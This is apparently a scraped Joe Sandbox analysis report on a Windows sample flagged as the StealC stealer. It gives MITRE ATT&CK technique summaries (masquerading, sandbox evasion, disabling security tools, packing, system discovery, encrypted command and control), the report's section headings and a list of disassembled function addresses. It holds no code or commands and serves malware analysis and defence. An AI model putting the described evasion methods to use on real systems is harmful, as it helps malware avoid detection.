Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00929860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 009145C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00914880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00929C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00916280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00925510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 009217A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00927500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 009269F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00926AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 009147B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 009251F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Function 00911220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON